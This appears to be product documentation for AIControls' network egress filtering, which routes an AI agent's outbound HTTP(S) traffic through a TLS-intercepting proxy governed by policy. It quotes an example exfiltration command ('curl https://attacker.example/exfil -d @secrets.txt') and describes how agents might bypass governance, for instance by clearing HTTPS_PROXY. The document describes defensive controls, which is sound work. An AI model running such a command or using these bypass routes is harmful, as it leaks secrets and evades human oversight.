Network Egress Filtering
MCP governance and LLM proxying cover the traffic an agent sends through those two protocols. Network egress filtering closes the remaining gap: any outbound HTTP(S) call an agent process makes directly — a curl, a webhook, a call from a library the agent invoked — is intercepted, evaluated against the same policies, and audited the same way.
Why this exists
An agent that can execute shell commands or arbitrary code can reach the network without going through an MCP tool or the LLM proxy at all — curl https://attacker.example/exfil -d @secrets.txt never touches either governed path. Network egress filtering adds a third enforcement point that sits below both: a transparent TLS-intercepting proxy that every outbound connection from the agent's pod or process is routed through, whether or not the agent "knows" it's being governed.
Enabling the feature
Network Egress Filtering is off by default and has two independent switches:
- Process-level feature flag (
networkFilter.featureEnabled/--enable-network-egress-filtering) — whether the subsystem exists in the running process at all. Off by default; changing it always requires a restart. While off, nothing related is wired in — no listener, no admin API routes — and the Network Traffic nav item and Network Filtering Settings section stay hidden. - Runtime enabled toggle (
networkFilter.enabled, or Settings → Network Filtering once the feature flag is on) — whether the listener is currently bound, assuming the feature flag above is on. Adjustable live, no restart needed.
See Enable Network Egress Filtering for the full setup walkthrough.
How it fits with MCP and LLM governance
AIControls now has three call-type planes, all evaluated by the same CEL policy engine and written to the same audit log:
| Plane | Matches with | Populated for |
|---|---|---|
| MCP tool calls | object.mcp.tool != "" | read_file, bash, kubectl, and other tool invocations proxied at the MCP protocol layer |
| LLM requests | object.llm.model != "" | Chat/completions calls proxied to Anthropic, OpenAI, Bedrock, etc. |
| Network egress | object.http.host != "" | Raw outbound HTTP(S) requests intercepted at the TLS layer — the agent process's own network calls |
Because egress calls reuse the same policy evaluator, enforcer, audit ring, and notification pipeline as MCP and LLM calls, everything you already know about writing policies, choosing an enforcement mode (Audit/Warn/Deny), and routing to human approval (Approve) applies unchanged — the proxy.nirmata.io/enforcement-mode annotation value is case-insensitive, and the older warn-approve/warn-ask spellings are still accepted for backward compatibility. The only new thing is a new set of match fields — object.http.* — documented in full in Policy Context.
Agent identity for egress calls
Egress calls are attributed to an agent identity and governed by per-agent policies the same way MCP tool calls and LLM requests are. See Agent identity for network egress calls for how that identity is resolved and how to configure it.
The MITM / CA-trust model
The egress proxy works by terminating TLS itself and presenting a certificate it generates on the fly, signed by a root CA that AIControls controls:
- Outbound traffic from the agent process reaches the AIControls egress listener instead of going straight to the internet. AIControls is typically a centralized service in the cluster, not a per-pod sidecar, so this usually means the agent is explicitly configured to send its traffic there (
HTTP_PROXY/HTTPS_PROXYpointed at the AIControls Service) — see Bypass resistance below for how this is made mandatory rather than opt-in, and for the alternative transparent-redirect mechanism available when AIControls is deployed as a sidecar instead. - The proxy accepts the TLS handshake, decrypts the request, evaluates policy against the plaintext request (method, host, path, and a body snippet), then re-encrypts and forwards it to the real upstream over its own outbound TLS connection.
- For the agent's TLS client to trust the proxy's on-the-fly certificate instead of erroring out, it has to trust the AIControls root CA. That means installing the CA certificate into the agent container's trust store (or pointing the agent's HTTP client / language runtime at it via the usual
SSL_CERT_FILE/NODE_EXTRA_CA_CERTS/REQUESTS_CA_BUNDLE-style variable).
This is the same interception pattern used by corporate TLS-inspection proxies — the trade-off is explicit: you are extending trust in exchange for visibility and control over encrypted traffic the agent generates on its own.
That covers the inbound direction — the agent trusting AIControls' generated certificate. The proxy also makes its own outbound TLS connection to the real upstream (step 2 above), and that connection needs to trust whatever CA signed the upstream's certificate. Public upstreams are already covered by the system root CA pool. For an upstream that presents a certificate from a private or internal CA — a Kubernetes API server's own serving certificate is the common case — set networkFilter.upstreamCACertFile to that CA's certificate. It's added to the system root pool, not swapped in for it, so public HTTPS destinations remain trusted at the same time. See Step 2 of the setup guide.
Some upstreams use certificate pinning and will not work through a MITM interception (the pinned client rejects any certificate not signed by the pin, including a legitimate but substituted CA cert). For those, list the host in the passthrough allowlist — traffic to a passthrough host is relayed as a raw TCP stream with no TLS termination and no policy evaluation. Passthrough hosts are still logged (host and byte counts), just without the request-level detail or policy control available to intercepted traffic. Use passthrough sparingly — every entry is a hole in the egress governance boundary.
SSRF protection: an always-on floor, not a policy
Before any CEL policy runs, every egress request is checked against a hardcoded, non-configurable SSRF rule: the destination host is resolved via DNS, and the resolved IP — not the hostname string — is checked against cloud metadata addresses (e.g. 169.254.169.254) and other internal/private ranges. If the destination resolves to a blocked range, the request is denied immediately with ssrf_blocked, before it ever reaches the policy evaluator. This closes the DNS-rebinding gap where a hostname is made to resolve to an internal address only after any string-based check has already passed — the proxy dials the same IP it validated, never a fresh lookup.
This is deliberately not something a policy can turn off. If you have a legitimate reason to reach an address that would otherwise be blocked (an internal API gateway, for example), add its CIDR to the SSRF allowlist in configuration — this is a narrow, explicit exception mechanism, not a way to disable the floor itself.
CEL policy is the layer on top of this floor: it decides which external hosts, methods, and paths are allowed, denied, audited, or routed to approval. The SSRF floor and CEL policy are independent — the floor cannot be satisfied away by a permissive policy, and a strict policy does not need to re-implement SSRF checks of its own.
Egress warn-fallback for ungoverned traffic
Static CEL policy handles the traffic you've thought to write a rule for. For everything else — a destination no policy gives a definitive answer for — the default is to allow, same as any other unmatched call in AIControls.
"No policy gives a definitive answer" covers two cases: no policy matched the call at all, or one or more policies matched but only ever warned about it. The second case is what an allow-list policy typically looks like: a Warn-mode policy, matching every egress call, whose validation checks the destination against a list of known-good hosts — an explicit Allow if it's on the list, a Warn if it isn't. Pair it with an ordinary Deny-mode policy for anything explicitly blocklisted, and the two compose using the same enforcement-mode ranking every policy already uses: a matching Deny always wins over everything else, an explicit Allow needs no further judgment, and a Warn — meaning nothing matched and nothing explicitly vouched for the destination — is exactly the traffic this fallback governs. Concretely, a two-policy setup covering this pattern looks like: a Deny-mode policy first, matching on a small blocklist (object.http.host in ["known-bad.example"]) so explicitly forbidden hosts are always blocked regardless of what else matches; and a Warn-mode policy second, matching every egress call (object.http.host != ""), whose validation expression checks the destination against an allow-list and returns an explicit Allow for a match or falls through to Warn otherwise. Together, a request to a blocklisted host is always denied, a request to an allow-listed host is always allowed, and everything else rides on networkFilter.warnFallback.
networkFilter.warnFallback decides what happens to that "no definitive answer" traffic: allow (the default) leaves it as an allowed call flagged in the audit trail — today's existing behavior, unchanged; deny hard-blocks it. This setting is editable live from Settings → Network Filtering (no restart needed).
A policy with no matchConditions at all matches every call, of every type — including egress traffic you never meant it to cover. If such a policy isn't in audit mode (audit-mode policies are evaluated separately and can never produce a definitive Allow/Deny that reaches this fallback), it will permanently push egress calls it happens to match toward whatever networkFilter.warnFallback decides, not just its own intended scope. All of AIControls' shipped built-in policies are scoped with an explicit matchConditions for exactly this reason — if you write your own org-wide policy (e.g. a blanket PII or secrets scan) without one, give it a matchConditions gate (object.mcp.tool != "" || object.llm.model != "", or similar) so it doesn't unintentionally interfere with egress traffic it was never meant to govern.
Bypass resistance
Governance that an agent process can simply route around is not governance. Which control closes the escape route depends on how AIControls is deployed relative to the agent workloads:
Centralized service (the common case) — AIControls runs as its own service, not co-located with any agent pod, so there's no shared network namespace to install a kernel-level redirect into. The backstop instead is a default-deny-egress Kubernetes NetworkPolicy applied to the agent workloads' own namespace, allowing egress only to DNS and the AIControls Service. An agent that isn't configured with HTTP_PROXY/HTTPS_PROXY pointed at AIControls doesn't get to bypass governance and reach the internet directly — it gets no egress at all. This trades "transparent capture regardless of agent cooperation" for "cooperation is required, but non-cooperation fails closed" — the agent must be configured correctly, but it cannot silently escape by skipping that configuration.
Sidecar deployment (alternative) — if AIControls instead runs as a container inside the same pod as the agent workload (proxy.deploy: sidecar), two Kubernetes-level controls, both configured through the Helm chart, close the escape route without agent cooperation at all:
- Transparent redirect — an init container installs
iptablesNAT/REDIRECTrules that force all outbound TCP :80/:443 traffic from that pod to the egress proxy's listener, so an agent can't just setHTTPS_PROXY=""and skip interception. This only works because the init container shares a network namespace with the agent — it has no effect on traffic from a different pod. - Default-deny NetworkPolicy (on AIControls' own pod, in this topology) — blocks all egress from the pod except DNS and the AIControls container's own listener ports, so even a process that bypasses the redirect rules has nowhere to send packets.
Both bypass-resistance mechanisms are optional and off by default — you can adopt egress filtering with policy visibility only (agents opt in by trusting the CA and setting proxy env vars) before moving to full bypass-resistant enforcement. See Enable Network Egress Filtering for the setup steps for both topologies, including the UID-separation constraint the sidecar transparent-redirect rule depends on.